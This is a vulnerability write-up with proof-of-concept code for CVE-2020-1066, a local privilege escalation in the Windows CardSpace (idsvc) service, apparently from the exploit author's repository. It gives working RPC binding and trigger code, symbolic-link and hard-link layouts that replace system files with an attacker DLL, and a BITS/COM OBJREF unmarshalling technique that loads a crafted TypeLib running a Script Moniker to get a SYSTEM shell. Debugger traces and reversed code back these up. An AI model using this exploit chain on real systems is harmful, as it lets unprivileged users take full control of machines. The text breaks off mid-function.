cbwang505/cve-2020-1066-expExploit d'élévation de privilèges locale pour CVE-2020-1066 ciblant Windows 7 et Server 2008 R2. Exploite le remplacement arbitraire de fichiers via l'abus de lien symbolique du service Windows CardSpace (idsvc) pour obtenir une exécution de code au niveau SYSTEM.
Cette vulnérabilité est une élévation de privilèges locale par remplacement arbitraire de fichiers, due à une gestion incorrecte des objets de lien symbolique par le service Windows CardSpace.
Le PoC de l'auteur est fourni à des fins de recherche uniquement. Si le lecteur utilise ce PoC à d'autres fins, l'auteur décline toute responsabilité.
[toc]
Concerne les utilisateurs standard de Windows 7 et Windows Server 2008 R2, ainsi que les utilisateurs IIS bénéficiant d'une configuration spéciale.
L'auteur est le soumetteur de cette vulnérabilité, mise à jour en mai 2020. La vulnérabilité provient du service Windows CardSpace (idsvc) de Windows 7 et Windows Server 2008 R2. Ce service peut être démarré par n'importe quel utilisateur, s'exécute avec les privilèges System et fournit des appels RPC publics. Lorsqu'un utilisateur déclenche le déplacement d'un fichier de configuration spécifique situé dans le répertoire %APPDATA% de son environnement utilisateur, le service ne gère pas correctement les objets de lien symbolique, ce qui entraîne une élévation de privilèges locale par remplacement arbitraire de fichiers. C'est la cause de la vulnérabilité.
Étant donné qu'il s'agit d'un appel RPC, il est nécessaire d'obtenir l'interface MIDL du service pour écrire un code local interagissant avec celui-ci. L'auteur recommande d'utiliser l'outil RpcView. Pour des détails, se référer à la série d'articles sur l'exploration des vulnérabilités RPC.
Utilisez d'abord la méthode suivante pour obtenir les fichiers de symboles et les configurer dans l'outil, puis décompilerez le fichier IDL de l'interface RPC. La méthode est la suivante :``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols
Obtenez via l'outil les trois données importantes : le type de protocole Rpc, le nom du protocole et le fichier de définition du client de l'interface du protocole (fichier .c généré par la compilation du fichier IDL, voir la zone de texte Decompilation à gauche), ainsi vous pouvez lier le service Rpc de la manière suivante.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
En décompilant le code du service idsvc, on obtient le projet spécifique (voir les projets associés). Le service idsvc est lié au gestionnaire global RequestFactory.ProcessNewRequest de l'interface RPC globale. Pour le premier appel, c'est-à-dire lorsque parentRequestHandle est 0, la classe CreateClientRequestInstance est appelée pour gérer le rappel, et les opérations suivantes sont gérées par la classe CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
Le service idsvc utilise la réflexion pour appeler la classe appropriée selon le nom de classe dans le champ RpcRequest->Type afin de traiter le callback ; ici, le PoC utilise la classe « ManageRequest » ;```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
触发ManageRequest实例的DoProcessRequest函数处理请求，省略中间步骤，最后调用StoreConnection.CreateDefaultDataSources()来到了利用点。
在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件，默认为用户环境变量%APPDATA%目录下指定配置文件，对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现，点击应用程序池->高级设置。
```
//构造函数
protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.m_identity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.m_localSource = this.m_path + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.m_localSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
Le service idsvc repasse à l'identité du service idsvc via `new SystemIdentity(true)`, puis appelle `AtomicFileCopy` pour déplacer le profil utilisateur. Par défaut, les fichiers du répertoire `%APPDATA%` sont entièrement contrôlables par l'utilisateur actuel. Lorsqu'un processus à privilèges élevés effectue des opérations (suppression, déplacement, copie, modification d'attributs, etc.) sur des fichiers contrôlables par un processus à faibles privilèges, ce dernier peut exploiter ce privilège pour effectuer d'autres actions. James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) nous a fourni un [ensemble d'outils open source](https://github.com/googleprojectzero/symboliclink-testing-tools). Son travail pionnier sur le système de fichiers NTFS et les mécanismes internes de Windows a accompli tout le travail difficile, en implémentant plusieurs techniques et méthodes d'exploitation abusant des fonctionnalités de gestion de fichiers et de résolution de chemins de Windows. Le système de fichiers NTFS permet de monter un répertoire contrôlé par l'utilisateur dans un autre répertoire contrôlé par l'utilisateur (points de montage de volume et points de jonction), ainsi que de lier une cible à une autre via des liens symboliques (points d'analyse NTFS), et de lier un fichier contrôlable par l'utilisateur à un autre fichier lisible via des liens physiques. Toutes ces méthodes peuvent être détournées par un attaquant malveillant pour abuser des opérations sur fichiers effectuées par un processus à privilèges élevés. Pour l'exploitation du PoC, les deux méthodes suivantes permettent de créer des liens symboliques appropriés entre le fichier source et le fichier cible : la première utilise les points de montage et les liens physiques, mais elle ne fonctionne que sous Windows 7 — Microsoft a atténué la vulnérabilité des liens physiques, voir [cette analyse](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08) pour plus de détails. La seconde méthode est toujours exploitable sous Windows 10, en liant le répertoire d'objets inscriptibles `\RPC Control` à un répertoire cible, puis en liant les fichiers sous `\RPC Control` au fichier cible. La procédure est la suivante. Pour plus d'informations sur les liens symboliques, voir [la première partie](https://www.4hou.com/posts/qV8D) et [la seconde partie](https://www.4hou.com/posts/rE7B), qui ne seront pas détaillées ici.```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
D'après Process Monitor, le service idsvc, lors du déplacement de fichiers, n'utilise pas l'identité de l'utilisateur par emprunt (Impersonate) et ne vérifie pas non plus les attributs de lien symbolique, ce qui entraîne une vulnérabilité d'élévation de privilèges par remplacement de fichier arbitraire. Voici le code clé de l'exploitation :```
BOOL Exploit()
{
RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
req->Type = L"ManageRequest";
req->Length = 0;
req->Data = 0;
RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
UINT32* ctx = 0;
long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
printf("Proc0_RPCClientBindToService :%d\n", ret);
ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
return 0;
}
##### Analyse de l'exploitation de la vulnérabilité #####
L'auteur a conçu une nouvelle méthode d'élévation de privilèges basée sur le remplacement arbitraire de fichiers, dont le prototype provient de [CVE-2017-0213](https://www.exploit-db.com/exploits/42020/). Cette méthode est applicable à toutes les versions de Windows 7 à Windows 10, à condition que le fichier à remplacer ne soit pas sous le contrôle de TrustedInstaller pour déclencher la vulnérabilité. En effet, les privilèges de TrustedInstaller sont supérieurs aux autres ; si l'opération de remplacement est effectuée directement, même avec les privilèges Système, l'accès sera refusé. Généralement, seuls les fichiers avec des privilèges Administrateur ou Système remplissent les conditions. L'auteur a créé un [outil](https://gitee.com/cbwang505/TypeLibUnmarshaler) pour rechercher les fichiers remplaçables dans un répertoire donné, disponible dans la liste des projets associés. On peut également utiliser l'outil accesschk de Microsoft [SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite) avec la ligne de commande suivante, le dernier paramètre étant le fichier du répertoire spécifié.```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe d [find path] [extension]
Pour le système Windows 7, l'auteur a utilisé les outils ci-dessus pour trouver quelques fichiers TypeLib (bibliothèque de types) intégrés au système pouvant être exploités. Pour les versions supérieures comme Windows 10, un TypeLib intégré pouvant être écrit par l'utilisateur System a également été trouvé. Mieux encore, pour les composants COM enregistrés par des logiciels tiers, il existe généralement des fichiers TypeLib similaires répondant aux conditions, donc cette méthode d'exploitation a certainement de la valeur.``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll
L'exploitation du système Windows 7 peut être directement reflétée dans le poc. Pour les systèmes de version supérieure comme Windows 10, cela a été vérifié dans mon autre [EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION). Si vous souhaitez uniquement effectuer des tests, vous pouvez utiliser la ligne de commande suivante pour démarrer. Comme cela nécessite l'écriture par l'utilisateur System, il est recommandé d'utiliser des outils tels que [Process Hacker](https://processhacker.sourceforge.io/) pour basculer l'identité de l'utilisateur actuel vers l'utilisateur System. L'effet est illustré ci-dessus:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true
Si un lecteur trouve une TypeLib correspondante, il peut l'ouvrir avec l'outil OleView du Windows SDK, sélectionner une Interface quelconque, extraire les trois paramètres IID_Interface, InterfaceName, TypeLib_GUID, puis utiliser le mode avancé de l'outil d'exploitation. L'auteur utilise ici une TypeLib native du système Windows 7 pour la démonstration.
Le principe de l'exploitation provient du service Background Intelligent Transfer Service (bits). En appelant l'interface IBackgroundCopyJob->SetNotifyInterface de l'API publique du service bits, il est possible de transmettre un objet COM distant arbitraire. Si cet objet hérite de l'interface IMarshal, le service bits personnalise la désérialisation Unmarshal en fonction du CLSID passé dans la méthode d'interface GetUnmarshalClass. L'auteur utilise ici la méthode standard Unmarshal, à savoir CStdMarshal::UnmarshalInterface, qui déclenche la désérialisation. Les données à l'origine de la désérialisation proviennent de la structure OBJREF dans MarshalStream. Le format de cette structure est le suivant. Pour plus de détails, veuillez vous référer à la documentation officielle Microsoft et à mon autre article.```
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;
Ici, le champ flags est défini à OBJREF_STANDARD (0x01), indiquant l'utilisation de la méthode de désérialisation standard (CStdMarshal). La structure correspondante dans l'union ci-dessous est STDOBJREF. Quant aux autres types de flags, ils ont leurs propres méthodes de désérialisation personnalisées, qui ne sont pas abordées dans cet article ; le lecteur est invité à les étudier par lui-même. Ce qui permet finalement de réaliser l'exploitation de la vulnérabilité est le champ iid. Grâce à une analyse en rétro-ingénierie, on a découvert qu'en remplaçant cet iid (c'est-à-dire l'interface IID_Interface trouvée dans oleview), on peut déclencher le chargement par le service BITS du TypeLib (bibliothèque de types) de l'objet COM correspondant à cet iid. En d'autres termes, il s'agit d'une désérialisation arbitraire de TypeLib. En remplaçant finalement le fichier TypeLib par une structure TypeLib imbriquée, on peut exécuter Script Moniker pour obtenir un shell. Voici le code clé de l'exploitation de la vulnérabilité :```
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
//IID_InterfaceFake就是找到的接口IID_Interface
headerObjRef->iid = IID_InterfaceFake;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
D'après les résultats de débogage, on peut voir que CStdMarshal::UnmarshalInterface finit par appeler LoadTypeLibEx, en passant l'iid IID_InterfaceFake (provenant de l'OBJREF). Le deuxième appel à LoadTypeLibEx charge le Script Moniker. Cela prouve qu'il est effectivement possible de détourner (HOOK) un processus à hauts privilèges pour charger n'importe quelle TypeLib par désérialisation.```
1: kd> bp OLEAUT32!GetTypeInfoOfIID
Breakpoint 0 hit
OLEAUT32!GetTypeInfoOfIID:
0033:000007fefebf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax
0: kd> r
rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c
rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148
rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001
0: kd> dt _GUID @rcx
//查看这个参数
ole32!_GUID
{55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake
//下这个断点
1: kd> bp OLEAUT32!LoadTypeLibEx
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fefeb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o.
0000000002c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T.
0000000002c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0...
0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t.
0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s...
0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................
0: kd> kv
00 000000000391d828 000007fefebf00eb : 0000000000000ed8 0000000000000000 000000000391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx
01 000000000391d830 000007fefebf0f4f : 000007feff6c71c0 000007feff661889 000000000371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb
02 000000000391dbe0 000007fefebf1149 : 0000000000284210 000000000371f310 0000000000284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df
03 000000000391dc40 000007feff51e46a : 0000000000000000 0000000003715ea0 0000000000284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79
04 000000000391dc90 000007feff51e233 : 0000000000000000 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368]
05 00000000ff51e114 : 000000000391e618 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189]
06 00000000ff5211ec : 000000000391df68 000000009a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734]
07 00000000ff5210b7 : 00000000059e7610 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618]
08 00000000ff52106c : 000000000391df50 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279]
09 00000000ff64a0c5 : 0000000000000000 0000000000000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406]
//使用的是标准反序列化模式
0a 00000000ff5232a6 : 00000000fee64366 00000000fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238]
0b 00000000ff523542 : 000007fe0391e340 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957]
0c 00000000fedf523e : 000000000391e340 000007fe0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354]
0d 00000000fedff6cf : 000007fe0391e4f0 0000000000000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e
0e 00000000fede6e1c : 00000000fede78d7 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f
0f 00000000fede68e3 : 00000000faac1342 00000000faac1af0 : RPCRT4!NdrStubCall2+0x73c
10 00000000fede7967 : 00000000fb63a250 00000000fb63a250 : RPCRT4!NdrStubCall2+0x203
11 00000000ff660883 : 0000000000000000 0000000003715ff0 : RPCRT4!I_RpcGetBuffer+0xc7
12 00000000ff660ccd : 0000000000000000 000007fe00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
13 00000000ff660c43 : 000000000378a994 00000000ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
14 00000000ff51a4f0 : 00000000037daf90 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
15 00000000ff6614d6 : 0000000000000010 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
16 00000000ff66122b : 00000000037daf90 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
17 00000000ff65fd6d : 00000000037daf90 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
18 00000000fede50f4 : 000007fe00000000 00000000fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
19 00000000fede4f56 : 000007fe00000001 00000000ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84
1a 00000000fede775b : 0000000000000000 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6
1b 00000000fede769b : 000000000391f0b0 00000000037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b
1c 00000000fede7632 : 000000000378a970 00000000fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b
1d 0000000000000000 : 0000000000000000 0000000000000000 : RPCRT4!I_RpcBindingInqTransportType+0x202
//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C.
0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n.
0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
L'appartement (Apartment) côté serveur du composant COM maintient une liste d'objets stub d'interface COM, chaque objet stub maintient une référence à un objet COM. En fonction des informations iid de l'interface de cet objet COM, on recherche sous HKEY_CLASSES_ROOT/Interface la sous-clé de l'iid, puis la sous-clé ProxyStubClsid32, dont la valeur par défaut est le CLSID d'un objet stub. Ensuite, COM appelle la fonction CoGetClassObject avec ce CLSID pour demander à l'interface de fabrique de proxy IPSFactoryBuffer->CreateStub de créer un objet stub d'interface. De même, du côté client du composant COM, l'appartement client maintient une liste d'objets proxy. Lors du démarshalage d'OBJREF, on recherche l'objet stub correspondant via [oxid, oid, ipid] et on appelle IPSFactoryBuffer->CreateProxy pour créer le proxy correspondant. En utilisant les déclarations de fonctions définies dans le fichier IDL de l'interface, on construit une pile physique, puis via le canal IRpcChannel implémenté dans RPCRT4.dll, on appelle les fonctions réelles de l'interface pour communiquer avec le stub, réalisant ainsi l'appel de procédure distante (RPC) COM.
La création du proxy, IPSFactoryBuffer->CreateProxy, est par défaut encapsulée dans la fonction CreateProxyFromTypeInfo. Le processus d'appel de cette fonction est lié à TypeInfo dans TypeLib, car TypeInfo définit les informations de type associées à l'interface dans TypeLib. Par conséquent, ce processus nécessite inévitablement d'appeler la fonction LoadTypeLib pour charger TypeLib et son TypeInfo, ce qui est le point clé déclenchant la vulnérabilité. Par analyse inverse du processus d'appel de LoadTypeLib, on constate qu'il est implémenté via le registre. Pour chaque interface, les informations se trouvent dans la clé HKEY_CLASSES_ROOT\Interface\[IID de l'interface], avec une sous-clé TypeLib correspondant au TypeLib_GUID de l'interface, puis la TypeLib correspondante se trouve dans HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID], où la valeur de la sous-clé de version correspondante est le chemin de la TypeLib. Comme une interface peut avoir plusieurs sous-clés TypeLib de versions différentes, une seule est chargée par défaut lors de la désérialisation. En inversant l'implémentation dans oleaut32.dll, l'auteur a réalisé dans l'outil d'exploitation la correspondance automatique du fichier TypeLib approprié et son exploitation. Les résultats de cette analyse inverse sont les suivants :```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
wchar_t *result; // eax
unsigned __int16 versionLookUp; // bx
unsigned __int16 versionLookUpNext; // ax
DWORD v6; // ebx
LSTATUS i; // eax
HRESULT v8; // eax
wchar_t *v9; // ebx
HRESULT v10; // eax
int foundDotted; // [esp+8h] [ebp-31Ch]
GUID *v12; // [esp+Ch] [ebp-318h]
struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
LONG cbData; // [esp+1Ch] [ebp-308h]
ITypeLib *pptlib; // [esp+20h] [ebp-304h]
unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
DWORD dwIndex; // [esp+28h] [ebp-2FCh]
unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
HKEY v21; // [esp+30h] [ebp-2F4h]
HKEY v22; // [esp+34h] [ebp-2F0h]
HKEY phkResult; // [esp+38h] [ebp-2ECh]
HKEY hKey; // [esp+3Ch] [ebp-2E8h]
CLSID pclsid; // [esp+40h] [ebp-2E4h]
WCHAR Data; // [esp+50h] [ebp-2D4h]
wchar_t Dst; // [esp+258h] [ebp-CCh]
unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
OLECHAR sz; // [esp+26Ch] [ebp-B8h]
wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
WCHAR Name; // [esp+304h] [ebp-20h]
v12 = rguid;
v13 = a2;
if ( a3 >= 16 )
return (wchar_t *)-2147319779;
result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
if ( (signed int)result < 0 )
return result;
if ( result != (wchar_t *)1 )
goto LABEL_57;
hKey = (HKEY)-1;
phkResult = (HKEY)-1;
v22 = (HKEY)-1;
v21 = (HKEY)-1;
pptlib = 0;
//先找Interface
wcscpy_s(&Dst, 0x47u, L"Interface\\");
StringFromGUID2(rguid, &sz, 39);
//如果存在Forward
wcscat_s(&Dst, 0x47u, L"\\Forward");
cbData = 520;
if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
|| CLSIDFromString(&Data, &pclsid)
|| GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
{
*(_DWORD *)SubVersion = 0;
*(_DWORD *)Version = 0;
//找里面的TypeLib
wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
if ( (signed int)result >= 0 )
{
//打开ClassesRoot根节点
if ( OpenClassesRootKeyW(&Dst, &hKey) )
{
result = (wchar_t *)-2147319779;
}
else
{
SubKey = 0;
//查找子健,枚举版本号
for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
{
versionLookUp = _wcstoul(&Name, &EndPtr, 16);
if ( *EndPtr == '.' )
{
if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
